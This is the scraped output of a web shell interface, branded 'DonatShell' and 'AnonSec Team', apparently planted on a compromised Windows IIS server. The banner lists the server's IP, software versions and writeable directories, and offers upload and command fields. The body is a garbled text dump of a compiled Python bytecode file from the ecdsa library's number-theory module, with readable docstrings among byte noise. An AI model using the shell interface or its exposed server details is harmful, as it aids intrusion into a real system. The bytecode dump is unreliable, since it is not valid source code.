DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/MySQL/MySQL Workbench 6.3 CE/python/site-packages/ecdsa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files/MySQL/MySQL Workbench 6.3 CE/python/site-packages/ecdsa/numbertheory.pyc

rKXc@ sddlmZddlmZmZddlmZddlZdefdYZ	de	fd	YZ
d
e	fdYZdZd
Z
dZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZd Z d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^d_d`dadbdcdddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzd{d|d}d~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddgZ!da"dZ#e$dkre#ndS(i(tdivisioni(tprint_t
integer_types(treduceNtErrorcB seZdZRS(s)Base class for exceptions in this module.(t__name__t
__module__t__doc__(((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyRstSquareRootErrorcB seZRS((RR(((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyRstNegativeExponentErrorcB seZRS((RR(((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyR	scC s/|dkrtd|nt|||S(s+Raise base to exponent, reducing by modulusis#Negative exponents (%d) not allowed(R	tpow(tbasetexponenttmodulus((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytmodular_exps
cC s|ddkstt|dks.txt|t|kr|ddkrxItdt|dD]+}|||d|||||<qsWn|dd!}q1W|S(sReduce poly by polymod, integer arithmetic modulo p.

  Polynomials are represented as lists of coefficients
  of increasing powers of x.iiii(tAssertionErrortlentrange(tpolytpolymodtpti((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytpolynomial_reduce_mod/s
 ,cC st|t|ddg}xatt|D]M}xDtt|D]0}|||||||||||<qMWq4Wt|||S(sPolynomial multiplication modulo a polynomial over ints mod p.

  Polynomials are represented as lists of coefficients
  of increasing powers of x.ii(RRR(tm1tm2RRtprodRtj((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytpolynomial_multiply_modGs

!2cC s||kst|dkr%dgS|}|}|ddkrJ|}n	dg}xW|dkr|d}t||||}|ddkrVt||||}qVqVW|S(sPolynomial exponentiation modulo a polynomial over ints mod p.

  Polynomials are represented as lists of coefficients
  of increasing powers of x.iii(RR(RRRRtGtkts((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytpolynomial_exp_mod_s		
cC s|dkst|ddks(t||}|dkrBdS|dkrRdS|d}}x)|ddkr|d|d}}qbW|ddks|ddks|ddkrd}nd}|dkr|S|ddkr|ddkr|}n|t|||S(	s
Jacobi symboliiiiiiii(Rtjacobi(tatnta1teR((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyR |s$	

0	 
cC sd|ko|kns"td|ks4t|dkrDdS|dkrT|St||}|dkrtd||fn|ddkrt||dd|S|dd	krEt||dd|}|dkrt||dd|S||dkr6d|td||d	d||Std
nxtd|D]r}t||d||dkrU||df}td
|dd||}|ddkst|dSqUWtddS(s)Modular square root of a, mod p, p prime.iiiis%d has no square root modulo %diiiisShouldn't get here.sNo b found.N(ii(RR RRtRuntimeErrorRR(R!Rtjactdtbtftff((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytsquare_root_mod_primes4"(!c	C s|dks||kr%||}n||}}d\}}}}x]|dkrt|||f\}}}||||||||f\}}}}qGW|dkst|dkr|S||SdS(sInverse of a mod m.iiN(iiii(tdivmodR(	R!tmtcR'tuctvctudtvdtq((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytinverse_mods

2cC s"x|r|||}}qW|S(s1Greatest common divisor using Euclid's algorithm.((R!R(((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytgcd2s	cG sKt|dkrtt|St|ddrCtt|dS|dS(sPGreatest common divisor.

  Usage: gcd( [ 2, 4, 6 ] )
  or:    gcd( 2, 4, 6 )
  iit__iter__(RRR5thasattr(R!((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytgcds

cC s||t||S(s&Least common multiple of two integers.(R8(R!R(((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytlcm2scG sKt|dkrtt|St|ddrCtt|dS|dS(sNLeast common multiple.

  Usage: lcm( [ 3, 4, 5 ] )
  or:    lcm( 3, 4, 5 )
  iiR6(RRR9R7(R!((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytlcms

cC st|tst|dkr%gSg}d}xtD]}||krNPnt||\}}|dkr8d}xE||kr|}t||\}}|dkrPn|d}qxW|j||fq8q8W|tdkrt|r	|j|dfqtd}x|d}t||\}}||krEPn|dkrd}|}xE||krt||\}}|dkrPn|}|d}q`W|j||fqqW|dkr|j|dfqn|S(s2Decompose n into a list of (prime,exponent) pairs.iiii(t
isinstanceRRtsmallprimesR,tappendtis_prime(R"tresultR'R3trtcount((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyt
factorizationsP


cC st|tst|dkr%dSd}t|}x[|D]S}|d}|dkr||d|d|dd}q>||dd}q>W|S(s'Return the Euler totient function of n.iii(R;RRRB(R"R?R*R)R$((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytphi's

%cC stt|S(sReturn Carmichael function of n.

  Carmichael(n) is the smallest integer x such that
  m**x = 1 mod n for all m relatively prime to n.
  (tcarmichael_of_factorizedRB(R"((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyt
carmichael9scC sct|dkrdSt|d}x6tdt|D]}t|t||}q<W|S(shReturn the Carmichael function of a number that is
  represented as a list of (prime,exponent) pairs.
  ii(Rtcarmichael_of_ppowerRR:(tf_listR?R((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyRDCscC sH|\}}|dkr0|dkr0d|dS|d||dSdS(s=Carmichael function of the given power of the given prime.
  iiN((tppRR!((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyRFPscC sf|dkrdSt||dks+t|}d}x(|dkra|||}|d}q:W|S(s;Return the order of x in the multiplicative group mod m.
  ii(R8R(txR-tzR?((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyt	order_modZscC sbx[t||}|dkr"Pn|}x/t||\}}|dkrPPn|}q+WqW|S(s8Return the largest factor of a relatively prime to b.
  ii(R8R,(R!R(R'R3R@((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytlargest_factor_relatively_primemscC st|t||S(syReturn the order of x in the multiplicative group mod m',
  where m' is the largest factor of m relatively prime to x.
  (RKRL(RIR-((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pytkinda_order_mod}sc
C sda|tdkr-|tkr&tStSnt|d!dkrFtSd	}dttj|d}xNd"d#d$d%d&d'd(d)d*d+d,d-fD]"\}}||krPn|}qWd}|d}x(|ddkr|d}|d}qWxt|D]}t|}t	|||}	|	dkr|	|dkrd}
xZ|
|dkr|	|dkrt	|	d|}	|	dkr|datS|
d}
qHW|	|dkr|datSqqWtS(.s*Return True if x is prime, False otherwise.

  We use the Miller-Rabin test, as given in Menezes et al. p. 138.
  This test is not exact: there are composite values n for which
  it returns True.

  In testing the odd numbers from 10000001 to 19999999,
  about 66 composites got past the first test,
  5 got past the second test, and none got past the third.
  Since factors of 2, 3, 5, 7, and 11 were detected during
  preliminary screening, the number of numbers tested by
  Miller-Rabin was (19999999 - 10000001)*(2/3)*(4/5)*(6/7)
  = 4.57 million.
  iiiiiiiii(idiiiiiiii,i	i^iiiii&iiiRiiiii	(idi(ii(ii(ii(i,i	(i^i(ii(ii(i&i(ii(iRi(ii(
tmiller_rabin_test_countR<tTruetFalseR8tinttmathtlogRR(R"tttn_bitsRtttRR@RR!tyR((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyR>sX



#

cC s?|dkrdS|ddB}xt|s:|d}q!W|S(s9Return the smallest prime larger than the starting value.ii(R>(tstarting_valueR?((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyt
next_primesiiiiii
iiiiii%i)i+i/i5i;i=iCiGiIiOiSiYiaieigikimiqiiiiiiiiiiiiiiiiiiiiiiiiiii
iiiii%i3i7i9i=iKiQi[i]iaigioiui{iiiiiiiiiiiiiiiiiiiiiii	iii#i-i3i9i;iAiKiQiWiYi_ieiiikiwiiiiiiiiiiiiiiiiiiiiiiiii)i+i5i7i;i=iGiUiYi[i_imiqisiwiiiiiiiiiiiiiiiiiiii	iiii%i'i-i?iCiEiIiOiUi]iciiiiiiiiiiiiiiicC s/tdtd5d7d9d:ks(ttd<d>d@gdAksIttddksattdtddBdCdEksttddFdGgdIksttddksttddJ}xBtt|dD]*}t||||dkstqWd}xtD]}td|g}xtdd|d D]k}|||}|j|t	||}||||krV|d}td!||||fqVqVWxktd|D]Z}||kryt	||}Wnt
k
r
q/X|d}td"||fqqWq$Wxtdd#d D]}	td$|	t|	r>g}xitd|	D]X}t|||	dkr|d}td%|||	fn|j|||	qWxtd|	D]K}||krt||	d&kr7|d}td'||	fq7qqWqJt
|	}
xtd|	D]u}d}x-|
D]%}|t||d|d}qmW|t||	krZ|d}td(|||	fqZqZWqJWtd)d&dl}
d}xtd*D]}|
jd+d,}	xtd*D]}|
jd|	d}t||	dkr%|d}t||	}|dks||	ks|||	dkr|d}td-|||	fqq%q%WqW|d.kstt|d/d0tfd1Y}t|d2|dkr+|d3|ndS(KNsTesting gcd...iiiii
sTesting lcm...sTesting next_prime...i@iAi)Ai/AiEAiSAiYAi]AiAiAiAiAiAiAiAiBiBiBi+Bi/Biis1Testing square_root_mod_prime for modulus p = %d.is0Failed to find %d as sqrt( %d ) mod %d. Said %d.s/Failed to report no root for sqrt( %d ) mod %d.is"Testing jacobi for modulus m = %d.sjacobi( %d * %d, %d ) != 1isjacobi( %d, %d ) != -1s%d != jacobi( %d, %d )sTesting inverse_mod . . .idii's$%d = inverse_mod( %d, %d ) is wrong.is  tests of inverse_mod completed.t
FailedTestcB seZRS((RR(((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyRZ_sserrors detected.s%d errors detectediiiiiiiiiiiiiiiiiiiiiiiiii(i@iAi)Ai/AiEAiSAiYAi]AiAiAiAiAiAiAiAiBiBiBi+Bi/B(RR8RR:RRRYR<R=R+RR>R RBtrandomtrandintR4t	Exception(t	bigprimesRterror_tallyRtsquarestroottsqt
calculatedt	nonsquareR-R)R!R.R[tn_testsRtinvRZ((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyt__main__s
!
!
(






!
#
"

,
%

Rg(%t
__future__RtsixRRt	six.movesRRRR]RRR	RRRRR R+R4R5R8R9R:RBRCRERDRFRKRLRMR>RYR<RNRgR(((sXC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\numbertheory.pyt<module>sf						$					
	3		
	
	
				I		'$!	v

Anon7 - 2022
AnonSec Team